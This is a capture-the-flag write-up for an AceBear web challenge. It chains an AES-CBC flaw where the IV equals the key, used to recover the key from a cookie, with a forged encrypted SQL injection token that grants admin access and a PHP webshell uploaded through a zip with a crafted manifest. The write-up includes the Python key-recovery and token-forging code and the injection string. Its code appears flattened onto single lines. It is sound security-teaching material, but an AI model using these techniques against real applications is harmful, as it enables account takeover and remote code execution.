At first, if you launch a dirsearch/dirbuster or anything to list files on server, you find a backup.bak, which contains the source code of the challenge. Alternatively, you click on the link in the hint. It is a zip file that contains:
Interesting files are lib/connection.php, login.php and upload.php.
We can see that project use the AES CBC to encrypt and decrypt a remember_me cookie.
There are 2 vulnerabilities in their AES CBC usage and one classic vulnerability of web developer:
IV = KEY, NEVER NEVER you do that. IV must be random and unique for each encryption.
lib/connection.php (look gen_cookie and check_cookie)
With that, we have to encrypt our SQL payload to do the injection and get an admin access.
However, how encrypt our payload without the key? Just recover the key! Easy, isn't it?
For explanations about how can we recover IV (which is equals to key), I used this link to understand the problem and found the right formula: https://cryptopals.com/sets/4/challenges/27
The only to do is to register a user and get his remember_me cookie and script a little to build a forged token to obtain its plain version through website. I used the "aaaa" account created by someone else (thank you).
print("Token to test : %s" % genstring(new_token_blocks))
# Plain text of new_token which is given by the website => MrVg19rbkubNc1+9FaTSIIrbIMWBFrqYuLnTn5TM6v1fgQe24/bg1PwYPJE05PYBvoEkjFL51BhAaubCvJBhyQ== plain_text = "MrVg19rbkubNc1+9FaTSIIrbIMWBFrqYuLnTn5TM6v1fgQe24/bg1PwYPJE05PYBvoEkjFL51BhAaubCvJBhyQ==" plain_blocks = genblock(b64decode(plain_text)) key = '' # Apply the formula P1 XOR P3 to get the key for i inrange(0,16): key += chr(plain_blocks[0][i]^plain_blocks[2][i])
The next step is to login as admin in the application. To do this, we have to found a user who is admin, or fake the system: ' and 1=0 union select username, 1 from Users where username='aaaa.
The application understand that the "aaaa" user is an admin.
Lets forge the token:
1 2 3
encryption_suite = AES.new(key, AES.MODE_CBC,key) print("Token to do SQLinjection (urlencode format): ") print(urlb64encode(encryption_suite.encrypt(padding("' and 1=0 union select username, 1 from Users where username='aaaa|thisisareallyreallylongstringasfalsfassfasfaasff"))))
As the flag is store on the website source code, we have to read it through a webshell. Why webshell? Because there is no entry from user on website which can lead to a command exec and the application offers an upload functionality.
... <?php $message = ""; if (isset($_POST["submit"])) { $error = $_FILES["zip_file"]["error"]; $file = $_FILES["zip_file"]["tmp_name"]; if ($error == 1 || $error == 2) { $message = "The uploaded file is too large. File must not larger than 10mb :)"; } elseif ($error == 3 || !$file) { $message = "File upload failed."; }
include("lib/pclzip.php"); $zip = newPclZip($file); if (!is_dir($_SESSION["folder"])) { mkdir($_SESSION["folder"], 0777); } $files = $zip->extract(PCLZIP_OPT_PATH,$_SESSION["folder"]); if (!$files) { exec(sprintf("rm -rf %s", escapeshellarg($_SESSION["folder"]))); $message = "Cannot extract your file."; } else { $json = json_decode(file_get_contents($_SESSION["folder"]."/manifest.json"),true); if ($json["type"] !== "h4x0r" || !isset($json["name"])) { exec(sprintf("rm -rf %s", escapeshellarg($_SESSION["folder"]))); $message = "Your file is invalid."; } else { $message = "Your file is successfully unzip-ed. Access your file at ".$_SESSION['folder']."/[your_file_name]"; } } } ?> ...
In order to upload a webshell, we have to create a zip file which contains our PHP webshell (just google it for webshell) and a specific manifest.json.
manifest.json
1 2 3 4
{ "type":"h4x0r", "name":"webshell" }
Upload it.
And get the flag: AceBear{From_Crypt0_m1sus3_t0_Rc3_______}